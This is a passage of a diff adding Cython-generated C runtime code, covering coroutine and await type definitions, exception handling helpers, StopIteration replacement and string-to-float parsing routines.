__pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pynumber_float */ + static CYTHON_INLINE PyObject* __Pyx__PyNumber_Float(PyObject* obj) { + double val; + if (PyLong_CheckExact(obj)) { +#if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(obj))) { + val = (double) __Pyx_PyLong_CompactValue(obj); + goto no_error; + } +#endif + val = PyLong_AsDouble(obj); + } else if (PyUnicode_CheckExact(obj)) { + val = __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + val = __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + val = __Pyx_PyByteArray_AsDouble(obj); + } else { + return PyNumber_Float(obj); + } + if (unlikely(val == -1 && PyErr_Occurred())) { + return NULL; + } +#if CYTHON_USE_PYLONG_INTERNALS +no_error: +#endif + return PyFloat_FromDouble(val); +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + 